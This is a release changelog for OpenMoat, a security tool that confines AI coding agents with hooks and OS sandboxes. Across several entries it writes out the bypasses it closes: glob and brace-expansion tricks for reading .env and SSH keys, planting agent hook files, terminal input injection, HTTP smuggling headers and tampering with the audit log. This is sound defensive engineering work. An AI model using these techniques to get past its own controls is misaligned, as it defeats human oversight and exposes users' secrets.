OpenMoat 0.1.0 to 0.4.0
Released 2026-10-07 to 2026-10-11. Each version below links to its GitHub release.
Released 2026-10-11. GitHub release v0.4.0.
moat doctorwarns about guard calls denied for taking over 10 s, and, with Codex on Linux, when the kernel lets a command type into the terminal (#456).
Changed
Section titled “Changed”- After upgrading, run
moat initandmoat sandbox syncso the installed hooks and sandbox settings pick up the changes below. - Claude Code and Cursor
WebSearchare now governed asweb.search; apolicy.yamlwithoutweb.searchunderdefaultsasks for every search, so addweb.search: allowto keep searches silent (#455). - Claude Code’s file tools now refuse the paths the policy denies on every OS, including
.env.example, which the hook would allow (#459). - Existing policies keep their
project-fsrule; add"!${project}/**/.git/**"to itsfs.writelist (as new policies have) to ask before writes to nested.git(#462).
Security
Section titled “Security”- The
moatbinary is protected by its recorded path, link target and directory wherever it is installed, andmoat initrefuses one inside a project or temp directory (#458). - Claude Code’s own deny rules keep secrets, OpenMoat’s files and the
moatbinary out of its file tools even when the hook is missing or killed (#459) (#465). - Writing a
.gitfile or directory below the project root asks, like the root’s.git(#462). git --git-dir=…asks, and git opens a planted bare repository only when named (safe.bareRepository=explicit) undermoat run, Claude Code and Codex (#454) (#464).sqlite3andduckdbcount their database file as a write, so an agent cannot edit~/.moat/audit.db(#453).- Claude Code and Cursor
WebSearchis checked and recorded, asks after a secret read and marks the session untrusted (#455). - OpenMoat’s own output shows control characters in agent text as
?, so a logged escape sequence cannot drive the terminal (#452).
moat uninstallremoves only the Claude Code deny rules OpenMoat added (#457).
Released 2026-10-10. GitHub release v0.3.0.
Security
Section titled “Security”moat guarddenies calls to tools outside the policy while a pinned file has drifted, and blocks every Claude Code settings change then;moat initkeeps the first backup of a host file (#447).moat proxyrecords a CONNECT it cannot answer, replaces a secret header the client set itself, no longer reads names such asdb.internal:5432as addresses, and refuses zero or overflowing limits; the audit log redacts host, session, call ids and tool names too (#443).- Glob operands the shell would match differently (
cat notes[*) ask, hosts with_in a subdomain are checked against network rules, andmoat policy lintwarns aboutfetchexclusions anetpattern still matches (#446). - Unknown Cursor tools with a write-shaped name, indented Codex
apply_patchheaders and MCP paths in nested lists are checked as the writes and reads they are (#445). - The shell classifier fails closed on unbalanced parentheses,
printf/echotext with escapes piped into a shell,shlong options andsed -f FILE; a remotescp/rsyncdestination is no longer a local write (#444).
Changed
Section titled “Changed”- Breaking Breaking for the library crates: public error enums and
Verdict,Kind,Action,AtomicAction,HookEvent,BreakKind,RefusalandForbiddenare#[non_exhaustive]; amatchoutside their crate needs a_arm, which should fail closed (#449).
Released 2026-10-10. GitHub release v0.2.0.
Security
Section titled “Security”- On Linux, sandboxed commands under Claude Code can no longer plant another agent’s hook file in the project:
.cursor/hooks.json,.cursor/sandbox.jsonor.codex/hooks.json(#434). Claude Code’s sandbox on Linux drops every glob indenyWrite, andmoat initused to add a working-directoryEdit(./…)rule only for single names (.env,.envrc,.moat). It now also adds one for each such file below a directory the policy denies writing itself (.cursor,.codex), taken from the policy rather than a fixed list;.claudeis left to Claude Code, which keeps its own settings read-only. New differential rowswrite-cursor-hooksandwrite-codex-hooksrun under both host sandboxes on macOS and Linux. docs/THREAT_MODEL.md T9 now says exactly which files the Standard tier protects and that the same files in a project subdirectory are not covered on Linux. - On Linux, sandboxed commands under Codex’s
moatprofile can no longer create an agent’s settings file in the project, such as.claude/settings.local.json, which Claude Code would then load with its hooks (#421). Codex on Linux hides only the files a deny glob already matches when a command starts, so**/.claude/settings.local.jsondid not stopmkdir -p .claude && echo '{}' > .claude/settings.local.json; the differential suite showed it on the first Linux run. The policy already denies writing.claudeand.cursorthemselves, so on Linux the profile now makes both read-only in the workspace roots (one entry per directory: two denies below one missing directory make bubblewrap refuse to start any command). Where one is missing, bubblewrap mounts an empty read-only file there while the command runs, and Codex removes it afterwards. Sandboxed commands therefore cannot write anything in a project’s.claudeor.cursoron Linux, listed ascodex.linux-agent-dirs. Codex keeps.codexread-only itself; such directories in a subdirectory are still listed undercodex.linux-write-globs. moat proxynow refuses three HTTP smuggling shapes its ambiguous-framing gate used to pass through (#396, #397).check_framinginopenmoat-proxy::requestalready rejected aContent-Lengthnext to aTransfer-Encodingand a repeatedContent-Length; it now also rejects more than oneTransfer-Encodingheader on a request head (TE.TE smuggling), aTransfer-Encodingwhose comma-separated, lowercased tokens are anything but exactly["chunked"](soidentity,gzip,chunked, identity,gzip, chunkedandchunked, gzipare refused), and aContent-Lengthwhose single value is not one plain decimalu64(so the list form10, 10, the signed form+10, embedded whitespace10 10and hex0x0aare refused). A value with only surrounding whitespace (10) still parses as a legitimate single length. The existingrequest/tests.rs::ambiguous_or_unsupported_http_is_refusedgained one fixture per shape and a sibling test asserts the whitespace-only accept path.- Three P1 findings in
openmoat-coreclosed in one change (#398, #399, #400). (a) The session-taint rule-matcher now recognisessecrets-pathswherever a policy puts it, repository policies included:RepoPolicy::mergerenames every repo rule torepo:<id>, so the previous equality check against"secrets-paths"missedrepo:secrets-pathsand let an approved secret read leave the session untainted;names_secretnow matches the base id with or without therepo:prefix and iteratesrepo_askalongsidedeny,allowandask. (b)CompiledPolicy::compilenow rejects anEvalContext::moved_dirsentry whosedefaultis empty, whitespace, a bare/, not an absolute or~/-rooted directory, or a duplicate; without that check an emptydefaultaliased every pattern body inspellings()and silently widened every rule — the engine now fails closed, so the CLI is no longer the only line of defence. (c)paths::expand_homeno longer guesses that other users’ homes sit next to the current user’s:~<otheruser>is unresolvable from the pure core, soresolvereturnsNoneand a shell token with it asks throughunparseable, while a directfs.readof~alice/.ssh/id_rsafalls back to the literal word (never to a wrong absolute path the OS does not read). A newT1-tilde-other-user-unresolvableconformance attack covers (c); existing fixtures using~me(self) keep their deny verdict. docs/POLICY.md namessecrets-pathsas a taint-significant rule id and documents the~<otheruser>rule. - Claude Code’s
sandbox.credentialsgenerator no longer widens HTTPS-only brokered secrets through its block-scopedallowPlaintextInjectflag (#401, ADR-019). When a policy mixed oneplain_http: truesecret with oneplain_http: falsesecret, OpenMoat emitted both asmaskentries and setallowPlaintextInject: trueon the whole block, which lifted the HTTPS requirement for the HTTPS-only secret too and let a sandboxed command send it over plain HTTP. The generator now setsallowPlaintextInject: trueonly when every emitted mask entry setsplain_http: true; in a mixed block theplain_http: trueentries are dropped from Claude Code’s mask list with a loss row that names each one, andmoat proxystill handles them (its broker is already per-secret). ADR-019’s lowering-never-widens invariant holds across the mixed case again.
Changed
Section titled “Changed”- The quality gate now refuses
unwrap,expect,panic!andunreachable!in library and binary code; tests may still use them (audit 15, item 4). The six sites that had them are now total: the lexer’s operator match takes a typed first character (lexer/operator.rs), the three host responses render fromserde_json::Value, which cannot fail, with the same bytes as before, and the audit redaction patterns are compiled into anOption. If a pattern ever failed to compile, every text would be redacted whole; a test makes sure each one compiles. - CI’s
standard tier (ubuntu-latest)job now runs every differential scenario under Claude Code’s sandbox and Codex’smoatprofile, plussandbox_exec, as macOS already did (#421). The Claude Code layer now checks the host as well as the tool’s report: an attack fails the layer when it changes the home outside the project or prints a fake secret, so a sandbox that is not running cannot pass. On Linux Claude Code’s sandbox mounts an empty in-memory directory over the home, socp src/main.rs ~/stolen.txtandecho … >> ~/.zshrccomplete there and are discarded;scenarios.yamlrecords those rows ascontained: [claude-linux], and the layer proves the files on disk unchanged. docs/SANDBOX.md and docs/THREAT_MODEL.md no longer say such writes are refused on Linux: they never reach the disk.sandbox_execnow runsmoat initwith the pinnedcodexonPATH, as after a user installs it (#371); without that, Codex on Linux started no command. - On Windows,
moat proxy statusnow refuses with exit 64 and the hint to runmoat proxyin a terminal, instead of printing a made-up “state unknown” line; Windows has no user service yet (#272). The service state type now exists only on macOS and Linux, which removes the last#[allow]in the workspace. - Lints now hold two rules that were only written down (audit 15, item 3): clippy’s
allow_attributesandallow_attributes_without_reasonkeep#[allow]out of the workspace (a needed exception is an#[expect]with a reason),dbg_macro,todoandunimplementedwarn, and the four library crates warn onprint_stdout/print_stderr. The one library print moved to the binary:openmoat-proxy::Recorderhas a new provided methodunrecorded, called when a record fails, andmoat proxyimplements it with the samemoat proxy: proxy-audit: …line on stderr. The connection is still refused. - Breaking Breaking (openmoat-core API, so the next release is 0.2.0):
openmoat_core::ir::BrokeredSecretchanged from an enum to a struct and no longer derivesCopy. The policy compiler now carries brokered secrets in the enforcement IR (#167, ADR-019).openmoat-core::ir::BrokeredSecretis a populated struct (id, host, header, source, plain_http) andlower()fillsEnforcement.secretsfrom the policy’ssecrets:list, so OS backends read one source of truth. Claude Code’ssandbox.credentialsgenerator (#363) now consumesir.secretsdirectly; no behaviour change on the generated settings. The existingir_consistencytest, “the IR allows nothing the hook allows and asks is deny” over every lowerable conformance fixture, continues to prove ADR-019’s lowering-never-widens invariant. - docs/INSTALL.md and docs/THREAT_MODEL.md state the macOS 14 floor for
moat run(#389). Its Seatbelt profile emits(ioctl-command TIOCSTI)from #386, an identifiersandbox-execonly recognises from macOS 13 onwards; on macOS 12 and earliersandbox-execrefuses to parse the profile andmoat runexits without starting the agent (fail closed). GitHub Actions no longer offers amacos-13runner, so CI coversmacos-14andmacos-15-intelonly, and macOS 13 is unsupported in practice. The hook,moat initandmoat statuskeep working on earlier macOS.
- ADR-023 (
docs/adr/ADR-023-isolated-tier-macos.md): the Isolated tier on macOS runs the agent in a Linux guest booted through Apple’scontainerizationtoolchain, with virtiofs projecting the project and the deny-coverage mounts the Linux Isolated tier already builds, a vsock relay tomoat proxyon the host, and bubblewrap, Landlock and seccomp inside the guest as on Linux (#175). The ADR compares a direct Virtualization.framework FFI, Lima and Apple’scontainerization, and pickscontainerizationfor Apple-owned kernel provenance, the shortest host-side surface and the fastest cold start (~0.8 s). macOS 26.0 is the minimum version; older macOS stays on Standard or Lightweight.moat run --isolateon macOS now ships a stub that refuses with exit 64 and either prints the install hint whencontaineris missing or “not yet implemented, see ADR-023” when it is present; it never falls back to the Lightweight tier. The implementation lands in follow-up PRs under #175. moat proxy installrunsmoat proxyas a per-user service so proxy routing can stay on without a person starting it (#272). On macOS a launchd user agent lands at~/Library/LaunchAgents/dev.openmoat.proxy.plistand is bootstrapped intogui/<uid>; on Linux a systemd user unit lands at~/.config/systemd/user/moat-proxy.serviceand isenable --now-ed. The service restarts on failure but a policy-lock drift exit (code 64) is deliberately a clean exit, so it stops instead of loop-restarting;moat doctorandmoat proxy statussurface the state (not installed, stopped, running, drift-blocked, crashlooping).moat sandbox syncrestarts the service after re-pinning the lock so the proxy picks up the new policy, andmoat uninstallremoves the service alongside the hooks. The plist/unit holds onlyMOAT_HOME(a path, never a secret) and the pinnedmoatbinary; on Linux the file is owner-only (0o600), on macOS~/Library/LaunchAgentsis already private to the user. Windows refuses with a clear hint: Standard-tier proxy routing on Windows is not planned for the first release (#272); runmoat proxyin a terminal there to keep the proxy up by hand.moat initandmoat sandbox synccompile the policy’ssecrets:entries into Claude Code’s nativesandbox.credentialsblock (#363). Eachenvandfilesource becomes amaskentry with the policy’s host ininjectHosts, andnetwork.tlsTerminateturns on because Claude Code’s broker needs it;credentials.allowPlaintextInjectturns on when any mask entry setsplain_http: true, listed as an allowance. Claude Code’s own proxy then substitutes the sentinel inside HTTPS requests for sandboxedBash,PowerShellandMonitorcommands, so the broker works for Claude Code without the TLS terminationmoat proxystill lacks (#247). A secret whose host is not in the policy’snetallow is skipped with a loss, and akeychainsource Claude Code’s broker cannot read is skipped the same way; both still work throughmoat proxy. On macOS afilesource falls back to a read deny, so a tool that reads the file does not authenticate;moat sandbox showlists both. Removing a secret from the policy strips the stalecredentialsentry andtlsTerminateon the nextsync, andmoat uninstallremoves them whole.scripts/ci/quality-gate.shchecks the fuzz targets’ formatting withrustfmt --check, and CI’s fuzz job runs clippy on them with a copy of the workspace lints (audit 15, item 5).fuzz/is its own workspace, socargo fmt --alland the workspace clippy never covered it; three targets are reformatted.
Released 2026-10-09. GitHub release v0.1.1.
moat benchreproduces how a hook decides (#364). With no arguments it sends the bundled MoatBench scenarios (attacks, benign work and developer workflows) to thismoatas Claude Code, Codex and Cursor hook payloads in a throwaway home and prints the scorecard.moat bench --hook <command> --host claude-code|codex|cursorsends the same payloads on stdin to any hook command, reads each reply by that host’s hook protocol (allow, ask, deny, passthrough, or error when the hook crashes, times out after 10 s or answers outside the protocol) and lists each step whose answer differs from the scenario, followed by what that host does when its hook is missing, crashes or times out, as documented in docs/THREAT_MODEL.md §5. The scenarios’ commands never run; the hook runs in the throwaway home with an environment of onlyPATH,HOMEandUSERPROFILE.--verboseprints that environment and every payload;--format jsonis for scripts; it exits 0 whatever the scores. The scenarios moved fromtests/moatbench/tocrates/openmoat-cli/moatbench/, and the MoatBench test now runsmoat bench.moat run --isolate -- <agent>: the Isolated tier on Linux (ADR-018, #174). bubblewrap starts the agent in new user, mount, PID, IPC, UTS, cgroup and network namespaces, rootless, with no daemon or image. Its root holds only the project,sandbox.read_roots, the agent’s executable,--writepaths and an empty in-memory temp directory; the rest of the home does not exist there. Inside those trees every path the policy denies that exists at start is covered: denied reads (.envfiles,~/.cargo/credentials.toml) by an empty placeholder no one may open, denied writes (.git,.claude/settings.json) by a read-only mount..env,.envrcand.moatdirectly in the project get an empty placeholder for the session even when missing, so they cannot be created. The only network is loopback, where OpenMoat serves the proxy’s port and relays it over a Unix socket to the proxy outside. Inside, the Lightweight tier’s Landlock rules and seccomp filter apply as well. Wherebwrapis missing or cannot create its namespaces, it refuses (exit 64) and never falls back to the Lightweight tier; macOS refuses until #175. docs/EVIDENCE.md gains a column for it, run by theubuntu-latestCI jobs: a hostilenpm testgetsEACCESreading the project’s.env, which plainmoat runon Linux still lets it read.
Security
Section titled “Security”moat runnow refuses terminal input injection. The agent shares the terminal it was started in, andioctl(TIOCSTI)pushes characters into that terminal’s input: once the agent exits, the user’s shell reads them and runs them outside every sandbox (the CVE-2017-5226 class). On Linux the seccomp filter, in the Lightweight tier and inside--isolate, refusesioctlwithTIOCSTIorTIOCLINUX(EPERM, x32 included), whateverdev.tty.legacy_tiocstisays. On macOS the Seatbelt profile deniesTIOCSTIon every file. docs/EVIDENCE.md gains a row run on a terminal the test creates:EPERMunder everymoat runcolumn and under Codex’s macOS profile; Claude Code starts its commands without a terminal; under Codex’s Linux profile only the CI runner’s kernel refuses it (EIO,dev.tty.legacy_tiocstiat 0), so on a kernel that allowsTIOCSTIa Codex-sandboxed script can type into the terminal.
Released 2026-10-08. GitHub release v0.1.0.
First beta and first release that is not a GitHub pre-release.
Changed
Section titled “Changed”- docs/SANDBOX.md notes a macOS 14 behaviour under
moat run(#361). On some machines, Seatbelt sometimes refuses the allowed loopback connection to the proxy for a few milliseconds about every 15 seconds. A network request then fails at once, and a retry succeeds. A one-rulesandbox-execprofile shows the same without OpenMoat (#280, #351). CI’s macOS 15 runners did not show it.
moat --helpno longer says the alpha has no OS enforcement; it says where the OS bounds commands and points tomoat status.
Security
Section titled “Security”- On Linux, Codex’s sandbox now keeps project scripts from creating
.envand.envrcin the workspace roots (#377). Codex hides only the files a deny glob matches when a command starts, so a script could create a missing.envrc, which direnv runs in the user’s shell.moat initandmoat sandbox syncnow also write.envand.envrcas deny entries under:workspace_rootson Linux; bubblewrap mounts an empty read-only file over a missing one while the command runs, and the script getsEROFS..env.local, a.envrcin a subdirectory and a project’sbin/moatstay creatable for sandboxed commands on Linux;moat sandbox showlists them (codex.linux-write-globs). macOS profiles are unchanged.
0.1.0-alpha.7
Section titled “0.1.0-alpha.7”Released 2026-10-08. GitHub release v0.1.0-alpha.7.
- docs/EVIDENCE.md now covers the Standard tier (#346): CI’s new
standard tierjob (macOS and Linux) runs the same hostile project scripts asnpm testunder Claude Code’s sandbox and Codex’smoatprofile, each configured with the settingsmoat initgenerates, and asserts what the operating system did (EPERM,EACCES, the agent’s proxy’s 403) and that nothing was read, written or reached. Claude Code 2.1.290 runs headless (claude -p --bare) against a local fake Anthropic API, and codex-cli 0.160.1 runscodex sandbox -P moat; no account, API key or internet is used, andscripts/ci/host-binaries.shfetches both binaries pinned by checksum. On Linux it found two gaps, now listed there: Claude Code’s sandbox skips the generated.envdenies, so a script reads the project.env(#359), and Codex runs no command at all under the generated profile, failing closed (#358). Windows is listed as not run, with the reason. moat initandmoat sandbox syncconfigure Cursor’s own sandbox from the policy (#324), as they do for Claude Code and Codex:sandbox.jsonnext to Cursor’shooks.json(~/.cursor, or$CURSOR_CONFIG_DIR) getstype: "workspace_readwrite",readBoundary: "workspace", the read roots asadditionalReadPaths, write allow rules outside the project asadditionalReadwritePaths, and the policy’s hosts asnetworkPolicywithdefault: "deny". Other keys are kept, the file is backed up first and pinned whole by the lock,moat doctornames a weakened setting, andmoat uninstallremoves exactly these keys.moat statusreports Cursor ashook + OS sandboxwhen the file matches. Cursor’s schema has no key that denies a path: a read root with a denied path below it (~/.cargo) is left out, and what the policy denies inside the workspace (.env,.git,.moat) stays open to sandboxed commands;moat sandbox showlists both, and that Cursor runs a command outside its sandbox when its Auto-review classifier approves it, in Run Everything mode and in the CLI without--sandbox enabled. Not configured on native Windows, where Cursor documents no sandbox. The keys follow Cursor 3.23’s documentation and were not yet run under a Cursor build.
Changed
Section titled “Changed”- README leads with what sets OpenMoat apart: one policy that configures every enforcing layer, with published evidence; the comparison adds failing closed and published evidence.
- Codex on Linux runs commands again under the profile
moat initgenerates (#358). Before it starts a command, Codex on Linux lists every file below each deny glob withrg --filesso bubblewrap can hide the matches, and it refuses to start the command when ripgrep reports any error; the profile repeated the**/.env,**/.env.*and**/.envrcdenies below every read root, and root-only directories such as/etc/ssl/privateand/tmp/systemd-private-*stopped every command. The profile now repeats those denies only in the project and below the read roots inside the home;moat sandbox showlists the roots outside it (codex.outside-home), where the hook still denies the agent’s own reads. docs/EVIDENCE.md’s Codex Linux column now shows what the operating system does to each hostile script instead of a sandbox error. - Codex on Linux starts commands under the generated profile wherever it is installed (#371). It runs its own executable again inside bubblewrap to apply seccomp but grants itself no read access to it, so it started commands only when installed under a read root. On Linux,
moat initandmoat sandbox syncnow let commands read the executablecodexonPATHstarts (through npm’scodex.jslauncher, the platform binary), listed bymoat sandbox showascodex.own-binary; runmoat sandbox syncagain after moving Codex. Whencodexis not onPATH, or its executable is inside a denied path such as the Codex home (Codex’s standalone installer), nothing is granted andmoat sandbox showsays so. macOS profiles are unchanged.
Security
Section titled “Security”- On Linux, Claude Code’s sandbox now keeps project scripts from creating or rewriting
.env,.envrcand.moatin the session’s working directory (#372). Its runtime drops every glob indenyWrite,Edit(…)deny rules included, so the generated/**/.env,/**/.moat/**and.gitwrite denies did nothing there:npm testcould write.envrcand.moat/policy.yamlinto the project.moat initandmoat sandbox syncnow also writeEdit(./.env),Edit(./.envrc)andEdit(./.moat)topermissions.denyon Linux; Claude Code resolves them against the working directory and keeps them, and the scripts getEACCES(.envrc) andEEXIST(mkdir .moat: a read-only placeholder file stands there while the command runs) (CI’sstandard tier (ubuntu-latest)job, Claude Code 2.1.290). Claude Code itself keeps that directory’s.git/hooksand.git/configread-only (EROFS). The rest, such as a.envin a subdirectory,.env.local,.git/info/attributesand submodule hooks, stays writable for sandboxed commands on Linux, andmoat sandbox showlists it (claude-code.linux-write-globs). docs/EVIDENCE.md gains four rows; they also show that Codex on Linux lets a script create a missing.envrc(#377). macOS settings are unchanged, andmoat uninstallremoves the rules. - On Linux, Claude Code’s sandbox now keeps project scripts away from the project’s
.envfiles (#359). Bubblewrap needs concrete paths, so the sandbox expands eachdenyReadglob from its first literal directory when a command starts, and it skipped the generated/**/.env,/**/.env.*and/**/.envrc:npm testcould print the.env.moat initandmoat sandbox syncnow also writeRead(./**/.env),Read(./**/.env.*)andRead(./**/.envrc)topermissions.denyon Linux. Claude Code expands those under the session’s working directory, and a script reading a match getsEACCES(CI’sstandard tier (ubuntu-latest)job, Claude Code 2.1.290). A file created after a command starts, or a.envin another readable directory, stays readable, and Claude Code’s file tools now refuse.env.examplethere too;moat sandbox showlists both. macOS settings are unchanged, andmoat uninstallremoves the rules. - The default policy denies agent writes to
~/.cursor/sandbox.jsonand a project’s.cursor/sandbox.json(kernel-self, #324): a project file replaces Cursor’s read boundary and adds hosts to its sandbox. - Glob characters in a path operand no longer get past deny rules (#355). The shell expands an unquoted
*,?or[before the command runs, but the operand was checked only as the literal word, socat .en?,cat .e*,cat .[e]nvandhead -c 99 .en[v]were allowed andcat ~/.ss?/id_rsaonly asked whilecat .envwas denied. Such an operand, and a redirection target, is now checked as written and as every path it names in the real directories, resolved through symlinks, withbashmatching rules (*skips dotfiles unless the pattern starts with.; an unmatched pattern is only its literal word). Quoted and escaped patterns stay literal, and directories are listed only for glob operands. A call whose globs name more than 256 paths, list more than 1024 directories or descend more than 8 levels of**asks (unparseable), and a deny among the named paths still wins. On hook-only setups (the Cursor editor, Claude Code on native Windows) this read secrets; the Standard tier’s sandbox already blocked it. - Brace expansion no longer gets past deny rules (#362). Bash makes several words of one with unquoted braces before anything else, so
cat .{env,x}runscat .env .x, but the word was checked as written and allowed;cat .e{n,m}v,cat ~/.ssh/{id_rsa,x}and{cat,.env}got through the same way. Words are now expanded asbashdoes it (comma lists, nested braces,{1..3},{a..e..2},{01..10}, several groups in one word, the command name included) and every word made is checked, and globbed when it holds* ? [. Quoted and escaped braces,{},{x}and${…}stay literal. A word whose braces make more than 256 words asks (unparseable), and a deny elsewhere in the call still wins.moat allow --alwaysof such a command writes the words it makes ({cat,.env}→cat .env), which is what the rule is matched against.
0.1.0-alpha.6
Section titled “0.1.0-alpha.6”Released 2026-10-08. GitHub release v0.1.0-alpha.6.
- MoatBench measures prompts on real development work (#336):
tests/moatbench/workflows.yamlruns step-by-step Rust, Node, Python, Go, git, Docker and Make workflows, and project-file edits, through Claude Code, Codex and Cursor payloads. Each step expectsallow, oraskwhere the default policy means to (new dependencies,git push,docker build), and the scorecard prints the asks per workflow (workflows: 152 steps, 26 asks (expected 17), 0 unexpected, 9 expected failures). A policy change that adds an ask or deny to one of these steps fails CI. Four known false positives of the default policy are recorded as expected failures:python3 -m venv .venv,source .venv/bin/activate,git rebase mainand a baremakeask. Steps can now be file edits (edit:, sent as Claude CodeEdit, a Codexapply_patchUpdate File, and CursorWrite) and can carry their owngapmarker. - docs/EVIDENCE.md: what the OS layer does to hostile project scripts that the hook allows (#335). The differential suite runs each payload as
npm testundermoat run, in a throwaway home with fake secrets, and asserts the outcome on every pull request: on macOS (Seatbelt) and Linux (Landlock and seccomp), reading~/.ssh/id_rsaor~/.aws/credentials, writing outside the project, a direct TCP connection, a DNS query over UDP, a symlink from the project into~/.ssh, and editing the policy or Claude Code’s settings fail withEPERMorEACCES, and an unlisted host gets the proxy’s 403. On Linux a project.envstays readable, shown as a known gap. The Codex and Claude Code sandboxes are not run in CI and are listed as not verified. Regenerate withMOAT_UPDATE_EVIDENCE=1 cargo test -p openmoat --test e2e differential. moat statusandmoat doctorprint one protection level per agent, derived only from the hook and sandbox checks they already make (#334):hook + OS sandbox(hook installed and current, generated sandbox in place and matching the policy),hook only(the Cursor editor, Claude Code on native Windows, or a sandbox that is missing, weakened or out of date, with the reason), ornot protected(hook missing, out of date or unreadable), followed by one line of what that agent’s hook and sandbox do not cover.moat status --format jsonprints the same per agent. Themoathome screen names each protected agent’s level (Protecting Claude Code (hook + OS sandbox)). The level never changes whetherstatusordoctorreports a problem.
Changed
Section titled “Changed”- THREAT_MODEL no longer lists Claude Code
SendFileas ungoverned: the hook checks its files as reads. - Default policy: four steps of everyday development work that asked only through the catch-all default are now allowed by
dev-shell(#350), and the MoatBench workflow suite has no known false positives left (workflows: 152 steps, 19 asks (expected 19), 0 unexpected, 0 expected failures).python -m venv DIRandpython3 -m venv DIR: each directory is now anfs.write, a plain name included, so a venv outside the project, in.gitor over~/.moatasks or is denied;--clearand--upgrade/--upgrade-depsask.source .venv/bin/activateand. .venv/bin/activate(alsovenv/), spelled exactly and with no arguments; any other file, a path with.., or the same spelling after acdout of the project asks.git rebase <ref>, likegit pull --rebase;--exec/-x,--interactive/-i,--edit-todo,--continue,--skipand--strategy/-sask, in any prefix git accepts and inside short-option clusters. A baremake, likemake test;make -f,make -Cand the existing recipe-shell overrides still ask. Stricter:npm execandnpm xnow ask (installs) likenpx, since both download a package they cannot find. - README, the CLI crate README and docs/INSTALL.md no longer say every action is checked: they say OpenMoat checks the commands, file access, web requests and MCP calls the agents report through their hooks, which is what README Limits and THREAT_MODEL describe (#331).
- A permanent approval (
moat allow --always,moat allow --last --always, orainmoat) prints what the rule will match before writing it (#333). For a shell command:will allow: npm test (and the same command with extra arguments); deny rules still win, since a command rule matches the approved command as a prefix. For files it says the rule names exactly those paths. The undo line is unchanged, and so is what a rule matches. - The native Windows note for Claude Code now says
the hook still applies the policyinstead ofthe hook still checks every call, since some tools are not hooked (#331). moat doctor’s Cursor note is now its protection line,hook only, with the same reason: no OS sandbox from OpenMoat, andmoat runcovers the Cursor CLI.
Security
Section titled “Security”- A part of a call the engine cannot classify no longer hides the decisions of the other parts (#345). It is one more
ask(ruleunparseable) merged with them, strictest wins, so adenystands: an MCP call that reads~/.ssh/id_rsaand adds aurlwith no host,cd "$X" && cat notes ~/.ssh/id_rsa,bash --frobnicate -c x; cat ~/.ssh/id_rsaandecho $(bash --frobnicate -c x) $(cat ~/.ssh/id_rsa)wereaskand are now denied bysecrets-paths, andbash -c "eval eval eval eval eval eval true"bypipe-to-shell. The shell classifier keeps classifying the other simple commands after one it cannot, and the other paths of a command after one in an unknown directory. A call whose unclassifiable part is all it does still asks. Under a policy whose default isdeny, a classified part that no rule allows is now denied even when another part cannot be classified. Session taint also counts the classified parts of such a call. moat guarddenies (exit 2) when it has not decided within 10 seconds, instead of waiting for the host’s hook timeout, after which Claude Code, Codex and the Continue CLI run the call (#337). The deny is not recorded, since what hangs may be the audit log. docs/THREAT_MODEL.md §5 has a table, with sources, of what each host does when the hook binary is missing, crashes, times out or prints bad output, and whatguardanswers for a malformed payload, an unknown event and a tool OpenMoat does not know; end-to-end tests cover OpenMoat’s side for each host’s payload shape, and thatmoat statusandmoat doctorreport a hook whose binary is gone asnot protected. Theknown gapslines now say Claude Code and Codex also run the call when the hook crashes, and that Cursor blocks it.- The audit log masks the exact values of the policy’s brokered secrets (
secrets:), whatever their format, before an event is stored, so they reach neitheraudit.dbnormoat audit export(#338). Previously only known token formats were redacted, and a value sent as part of a host name was recorded bymoat proxy. Matching ignores letter case and skips values shorter than 8 bytes, which occur in ordinary text.moat guardmasks the values with afileorenvsource it can read in every call the policy decides; the proxy masks all of them. The working directory is now redacted too. Canary tests plant fake secrets in shell commands, paths, URLs, proxy headers and MCP arguments and check that none is stored and the hash chain still verifies. - An MCP call whose arguments nest a path or URL deeper than 8 levels is now
ask(ruleunparseable, reasonmcp arguments not fully checked: nested deeper than 8 levels) instead of being decided on the tool name alone (#332). The paths and URLs found above that depth are still checked, so adenyamong them still wins. More than 1024 paths and URLs still denies the call.
0.1.0-alpha.5
Section titled “0.1.0-alpha.5”Released 2026-10-07. GitHub release v0.1.0-alpha.5.
- docs/ADDING_AN_AGENT.md: how to add support for another AI coding agent, from mapping its hook payload to an action, through installing the hook and capturing fixtures, to what the pull request must include (#319). Linked from CONTRIBUTING.md and the README.
- docs/SANDBOX.md: how to run the Cursor CLI (
agent) undermoat runon macOS: its installation directory insandbox.read_roots, an allow rule forapi2.cursor.sh,--write ~/.cursor,CURSOR_API_KEYinstead of the keychain, and--sandbox disabledfor that run (#324). moat doctornotes, when the Cursor hook is installed, that OpenMoat gives Cursor no OS sandbox, so only the hook applies the policy, and thatmoat runcovers the Cursor CLI (#324).
Changed
Section titled “Changed”- README, docs/INSTALL.md and docs/THREAT_MODEL.md no longer say that Cursor has no sandbox of its own. Cursor has one;
moat initdoes not configure it, and Cursor can rerun a command outside it, so in the Cursor editor only the hook applies the policy (#324).
- On native Windows,
moat initandmoat sandbox syncno longer write Claude Code’ssandboxblock orpermissions.blockReadsOutsideWorkingDirectories(#327). Claude Code’s sandbox runs on macOS, Linux and WSL2 only, and withfailIfUnavailable: trueClaude Code exits at startup where it cannot run.init,sandbox sync,sandbox show,doctorandstatusnow saysandbox not available on native Windows; the hook still checks every call (use WSL2 for OS confinement)for Claude Code instead of reporting the sandbox missing or weakened. Runmoat initormoat sandbox syncagain to remove those settings from an earlier version (they keep your other settings and re-pin the file). Codex is unchanged.
0.1.0-alpha.4
Section titled “0.1.0-alpha.4”Released 2026-10-07. GitHub release v0.1.0-alpha.4.
Changed
Section titled “Changed”- README opens with a 40-second recording of the launch demo (
docs/assets/demo.gif, from realmoat guardverdicts). The demo script shortens the throwaway paths and the binary path in its output, and docs/DEMO.md no longer says the operating system does not enforce decisions. - docs/INSTALL.md says how to upgrade:
brew update && brew upgrade moat, sincebrew upgradealone may not see a new release of the tap (#314). - After a session grant (
oinmoat, ormoat allow --lastwithout--always),moatsays that the grant covers only this agent session and that a new session asks again; for Claude Code,claude --continueresumes the session (#312).
moat initno longer leaves out an agent silently whenCLAUDE_CONFIG_DIR,CODEX_HOMEorCURSOR_CONFIG_DIRnames a directory that does not exist yet (#313). It prints one line per such agent with the variable and the directory, and says to start the agent once to create it and then runmoat initagain. It does not create the directory.
0.1.0-alpha.3
Section titled “0.1.0-alpha.3”Released 2026-10-07. GitHub release v0.1.0-alpha.3.
- Policy key
